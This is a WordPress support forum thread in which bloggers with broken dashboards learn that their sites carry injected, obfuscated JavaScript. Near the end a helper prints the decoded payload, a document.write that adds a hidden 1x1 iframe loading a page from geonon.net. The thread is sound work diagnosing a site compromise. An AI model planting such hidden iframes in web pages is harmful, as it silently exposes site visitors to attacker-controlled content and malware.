 * I logged into my admin panel last night and my dashboard formatting is completing
   gone, it’s now all text down the left side of the page.
 * It was fine when I closed up shop on Friday afternoon and from what I can tell
   my blog is appearing fine online.
 * The url for my blog is: EmbracingMyJourney.com
 * Any feedback and guidance would be greatly appreciated.
 * Thank you
    Caryn

 * I’ve got the same problem as [@caryngf](https://wordpress.org/support/users/caryngf/)!
 * Blog is at anatomyofamovie.com and is working fine, but the dashboard is screwy–
   lots of plain text and hyperlinks.
 * A couple of things that were out of the ordinary recently was a lot of lag when
   I tried posting last Friday. Eventually I had a server error (I’m with 123-reg.
   co.uk). BUT this might all be unrelated, as it seemed to be working again when
   I went into the dashboard two days ago.
 * The only thing is I accessed my dashboard via my iPhone (through Safari) for 
   the first time. Still, it looked good when I did and the scrambled dashboard 
   has occurred since then. It’s also now looking phooey on my iPhone too.
 * 🙁
 * Help!

 * Whups! That last para should have started: “The only other thing is… [etc]”

 * First thing you should do is determine what that dodgy looking javascript at 
   the bottom of your page is doing.
 * If you didn’t put it there, or you have no idea what it’s for, then you should
   start here.

 * You have exactly the same strange looking javascript in the bottom of your pages
   to… Please also see the link provided above.

 * [@picklemint](https://wordpress.org/support/users/picklemint/) are you using 
   a widget for reminding to subscribe on your blog? It automatically posts a reminder
   with url to your feed within each post?
 * [@t31os_](https://wordpress.org/support/users/t31os_/) are you referring to the
   code that looks like this?
    “<script>var VkXmR6=’d$!#o$!” and goes on with the
   same characters repeating themselves?

 * What widgets do you have active on your blog?
 * If anyone has a suggestion on how to get to the code to remove this script I’d
   greatly appreciate it…this is all new to me.

 * Seems to be related to a code that has geonon.net as part of it. I cannot find
   out who this is..
 * Am thinking they created a plugin and it’s now not working properly?
 * The source on this page shows google, perhaps it’s the analytics program?
 * Any thoughts?

 * Like i said already, unless you specifically included that code to do something,
   then it’s most likely a hack, in which case you need to clean up your files.
 * See the link previously provided.
 * To answer more directly, yes i’m referring to the code you posted above caryngf.

 * Hi [@t31os_](https://wordpress.org/support/users/t31os_/)
 * Thanks for the steer. Do you meant the script in my code that, when I use Firefox
   to view the page’s source, goes along the lines of:
    “VkXmR6=’d$!#o$!#c$!#u$!#
   m$!#e$!#n$!#t$!#.$!#w$!#r$!#i$!#t$!#e$!# (etc)”
 * Hadn’t noticed that before and don’t believe that I added it (bear with me tho’,
   am new to this :P).
 * Will head over the link you mentioned and get cleaning if so.
 * Thanks!

 * Yes that’s right..
 * Here’s what it looks like decrypted…
 *     ```
       document.write(\'<iframe src="http://geonon.net/in.php" width=1 height=1 frameborder=0></iframe>\');
       ```
   
 * ..for the curious people…
